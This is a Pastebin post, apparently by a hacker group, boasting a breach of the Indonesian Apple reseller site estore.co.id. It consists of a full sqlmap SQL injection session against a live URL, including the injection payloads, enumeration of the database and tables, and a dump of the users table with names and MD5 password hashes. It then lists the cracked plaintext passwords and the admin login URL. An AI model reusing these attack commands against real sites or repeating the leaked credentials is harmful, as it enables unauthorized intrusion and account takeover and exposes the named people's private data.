API tools faq
paste
yukinoshita47

[LEAKED] estore.co.id | Apple Premium Reseller

yukinoshita47
Aug 2nd, 2017
139
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.36 KB | None | 0 0
raw download clone embed print report
  1. ==============================================================
  2.  
  3. GARUDA SECURITY HACKER LEAK'S
  4. estore.co.id | Apple Premium Reseller
  5. Hacked by YUKINOSHITA 47
  6.  
  7. Greetz : Tuan2Fay - Cr4bbyP4tty - EsevenB
  8. Engkus - Anazvr - Fazlast - Healer
  9. Mr. Viruzer #29 - Sys47ID - Snooze
  10. And All Member of Garuda Security Hacker
  11.  
  12. =================================================================
  13.  
  14. root@yukinoshita47:~# sqlmap -u http://estore.co.id/product.php?id=119 --dbs
  15.  
  16. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  17. http://sqlmap.org
  18.  
  19. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  20.  
  21. [*] starting at 01:26:44
  22.  
  23. [01:26:45] [INFO] testing connection to the target URL
  24. [01:26:46] [INFO] testing if the target URL is stable. This can take a couple of seconds
  25. [01:26:47] [INFO] target URL is stable
  26. [01:26:47] [INFO] testing if GET parameter 'id' is dynamic
  27. [01:26:48] [WARNING] GET parameter 'id' does not appear dynamic
  28. [01:26:48] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
  29. [01:26:48] [INFO] testing for SQL injection on GET parameter 'id'
  30. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
  31. do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
  32. [01:26:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  33. [01:26:52] [WARNING] reflective value(s) found and filtering out
  34. [01:26:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
  35. [01:27:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
  36. [01:27:04] [INFO] GET parameter 'id' seems to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
  37. [01:27:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  38. [01:27:05] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  39. [01:27:05] [INFO] testing 'MySQL inline queries'
  40. [01:27:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  41. [01:27:05] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  42. [01:27:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  43. [01:27:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
  44. [01:27:07] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
  45. [01:27:54] [INFO] GET parameter 'id' seems to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
  46. [01:27:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  47. [01:27:54] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
  48. [01:28:02] [INFO] target URL appears to be UNION injectable with 1 columns
  49. [01:28:03] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  50. [01:28:03] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
  51. [01:28:04] [WARNING] parameter length constraint mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
  52. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
  53. sqlmap identified the following injection points with a total of 67 HTTP(s) requests:
  54. ---
  55. Place: GET
  56. Parameter: id
  57. Type: boolean-based blind
  58. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  59. Payload: id=-4513 OR (3799=3799)#
  60.  
  61. Type: error-based
  62. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  63. Payload: id=119 AND (SELECT 2441 FROM(SELECT COUNT(*),CONCAT(0x7161647671,(SELECT (CASE WHEN (2441=2441) THEN 1 ELSE 0 END)),0x7165757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  64.  
  65. Type: UNION query
  66. Title: MySQL UNION query (NULL) - 1 column
  67. Payload: id=119 UNION ALL SELECT CONCAT(0x7161647671,0x50434f556b6b7a654345,0x7165757271)#
  68.  
  69. Type: AND/OR time-based blind
  70. Title: MySQL < 5.0.12 AND time-based blind (heavy query)
  71. Payload: id=119 AND 6262=BENCHMARK(5000000,MD5(0x55445974))
  72. ---
  73. [01:28:08] [INFO] the back-end DBMS is MySQL
  74. web application technology: Apache 2.2.21, PHP 5.3.8
  75. back-end DBMS: MySQL 5.0
  76. [01:28:08] [INFO] fetching database names
  77. available databases [2]:
  78. [*] coho86_estore3
  79. [*] information_schema
  80.  
  81. [01:28:09] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/estore.co.id'
  82.  
  83. [*] shutting down at 01:28:09
  84.  
  85. root@yukinoshita47:~# sqlmap -u http://estore.co.id/product.php?id=119 -D coho86_estore3 --table
  86.  
  87. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  88. http://sqlmap.org
  89.  
  90. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  91.  
  92. [*] starting at 01:28:37
  93.  
  94. [01:28:38] [INFO] resuming back-end DBMS 'mysql'
  95. [01:28:38] [INFO] testing connection to the target URL
  96. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  97. ---
  98. Place: GET
  99. Parameter: id
  100. Type: boolean-based blind
  101. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  102. Payload: id=-4513 OR (3799=3799)#
  103.  
  104. Type: error-based
  105. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  106. Payload: id=119 AND (SELECT 2441 FROM(SELECT COUNT(*),CONCAT(0x7161647671,(SELECT (CASE WHEN (2441=2441) THEN 1 ELSE 0 END)),0x7165757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  107.  
  108. Type: UNION query
  109. Title: MySQL UNION query (NULL) - 1 column
  110. Payload: id=119 UNION ALL SELECT CONCAT(0x7161647671,0x50434f556b6b7a654345,0x7165757271)#
  111.  
  112. Type: AND/OR time-based blind
  113. Title: MySQL < 5.0.12 AND time-based blind (heavy query)
  114. Payload: id=119 AND 6262=BENCHMARK(5000000,MD5(0x55445974))
  115. ---
  116. [01:28:38] [INFO] the back-end DBMS is MySQL
  117. web application technology: Apache 2.2.21, PHP 5.3.8
  118. back-end DBMS: MySQL 5.0
  119. [01:28:38] [INFO] fetching tables for database: 'coho86_estore3'
  120. Database: coho86_estore3
  121. [8 tables]
  122. +-------------+
  123. | distributor |
  124. | image |
  125. | news |
  126. | post |
  127. | service |
  128. | status |
  129. | trxrelated |
  130. | users |
  131. +-------------+
  132.  
  133. [01:28:39] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/estore.co.id'
  134.  
  135. [*] shutting down at 01:28:39
  136.  
  137. root@yukinoshita47:~# sqlmap -u http://estore.co.id/product.php?id=119 -D coho86_estore3 -T users --columns
  138.  
  139. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  140. http://sqlmap.org
  141.  
  142. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  143.  
  144. [*] starting at 01:28:56
  145.  
  146. [01:28:56] [INFO] resuming back-end DBMS 'mysql'
  147. [01:28:56] [INFO] testing connection to the target URL
  148. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  149. ---
  150. Place: GET
  151. Parameter: id
  152. Type: boolean-based blind
  153. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  154. Payload: id=-4513 OR (3799=3799)#
  155.  
  156. Type: error-based
  157. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  158. Payload: id=119 AND (SELECT 2441 FROM(SELECT COUNT(*),CONCAT(0x7161647671,(SELECT (CASE WHEN (2441=2441) THEN 1 ELSE 0 END)),0x7165757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  159.  
  160. Type: UNION query
  161. Title: MySQL UNION query (NULL) - 1 column
  162. Payload: id=119 UNION ALL SELECT CONCAT(0x7161647671,0x50434f556b6b7a654345,0x7165757271)#
  163.  
  164. Type: AND/OR time-based blind
  165. Title: MySQL < 5.0.12 AND time-based blind (heavy query)
  166. Payload: id=119 AND 6262=BENCHMARK(5000000,MD5(0x55445974))
  167. ---
  168. [01:28:57] [INFO] the back-end DBMS is MySQL
  169. web application technology: Apache 2.2.21, PHP 5.3.8
  170. back-end DBMS: MySQL 5.0
  171. [01:28:57] [INFO] fetching columns for table 'users' in database 'coho86_estore3'
  172. Database: coho86_estore3
  173. Table: users
  174. [5 columns]
  175. +--------+-------------+
  176. | Column | Type |
  177. +--------+-------------+
  178. | enable | tinyint(4) |
  179. | id | int(11) |
  180. | nick | varchar(20) |
  181. | pass | varchar(32) |
  182. | rank | varchar(10) |
  183. +--------+-------------+
  184.  
  185. [01:28:58] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/estore.co.id'
  186.  
  187. [*] shutting down at 01:28:58
  188.  
  189. root@yukinoshita47:~# sqlmap -u http://estore.co.id/product.php?id=119 -D coho86_estore3 -T users -C enable,id,nick,pass,rank --dump
  190.  
  191. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  192. http://sqlmap.org
  193.  
  194. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  195.  
  196. [*] starting at 01:29:24
  197.  
  198. [01:29:24] [INFO] resuming back-end DBMS 'mysql'
  199. [01:29:25] [INFO] testing connection to the target URL
  200. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  201. ---
  202. Place: GET
  203. Parameter: id
  204. Type: boolean-based blind
  205. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  206. Payload: id=-4513 OR (3799=3799)#
  207.  
  208. Type: error-based
  209. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  210. Payload: id=119 AND (SELECT 2441 FROM(SELECT COUNT(*),CONCAT(0x7161647671,(SELECT (CASE WHEN (2441=2441) THEN 1 ELSE 0 END)),0x7165757271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  211.  
  212. Type: UNION query
  213. Title: MySQL UNION query (NULL) - 1 column
  214. Payload: id=119 UNION ALL SELECT CONCAT(0x7161647671,0x50434f556b6b7a654345,0x7165757271)#
  215.  
  216. Type: AND/OR time-based blind
  217. Title: MySQL < 5.0.12 AND time-based blind (heavy query)
  218. Payload: id=119 AND 6262=BENCHMARK(5000000,MD5(0x55445974))
  219. ---
  220. [01:29:26] [INFO] the back-end DBMS is MySQL
  221. web application technology: Apache 2.2.21, PHP 5.3.8
  222. back-end DBMS: MySQL 5.0
  223. [01:29:26] [INFO] fetching columns 'enable, id, nick, pass, rank' for table 'users' in database 'coho86_estore3'
  224. [01:29:26] [INFO] fetching entries of column(s) 'enable, id, nick, pass, rank' for table 'users' in database 'coho86_estore3'
  225. [01:29:27] [INFO] analyzing table dump for possible password hashes
  226. [01:29:27] [INFO] recognized possible password hashes in column 'pass'
  227. do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
  228. [01:29:30] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-6U8olA.txt'
  229. do you want to crack them via a dictionary-based attack? [Y/n/q] y
  230. [01:29:35] [INFO] using hash method 'md5_generic_passwd'
  231. what dictionary do you want to use?
  232. [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
  233. [2] custom dictionary file
  234. [3] file with list of dictionary files
  235. > 1
  236. [01:29:37] [INFO] using default dictionary
  237. do you want to use common password suffixes? (slow!) [y/N] n
  238. [01:29:46] [INFO] starting dictionary-based cracking (md5_generic_passwd)
  239. [01:29:46] [INFO] starting 2 processes
  240. [01:31:39] [WARNING] no clear password(s) found
  241. [01:31:39] [INFO] postprocessing table dump
  242. Database: coho86_estore3
  243. Table: users
  244. [5 entries]
  245. +----+------+---------------+----------------------------------+--------+
  246. | id | rank | nick | pass | enable |
  247. +----+------+---------------+----------------------------------+--------+
  248. | 1 | su | estore168 | 55c3c9fce3a920ab89e007547b446bfb | 1 |
  249. | 6 | su | Administrator | 1183f35920a482dd7eba0573f2035afa | 1 |
  250. | 7 | u | it | 3d8293c17c7f81b0b203054e61c5dcd8 | 1 |
  251. | 8 | u | vikri | b5e33471d5ec1efb11230a140aa63208 | 0 |
  252. | 10 | u | christal | 425f87f71852477120e36feae4028238 | 1 |
  253. +----+------+---------------+----------------------------------+--------+
  254.  
  255. [01:31:39] [INFO] table 'coho86_estore3.users' dumped to CSV file '/usr/share/sqlmap/output/estore.co.id/dump/coho86_estore3/users.csv'
  256. [01:31:39] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/estore.co.id'
  257.  
  258. [*] shutting down at 01:31:39
  259.  
  260. ===========================================================
  261.  
  262. 55c3c9fce3a920ab89e007547b446bfb MD5 : gawanbiru
  263. 1183f35920a482dd7eba0573f2035afa MD5 : gjakarta1234
  264. 3d8293c17c7f81b0b203054e61c5dcd8 MD5 : genteraja
  265. b5e33471d5ec1efb11230a140aa63208 MD5 : gvikri123
  266. 425f87f71852477120e36feae4028238 MD5 : gchristal
  267.  
  268. ===========================================================
  269.  
  270. LOGIN : http://estore.co.id/asp/
  271.  
  272.  
  273. ===========================================================
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!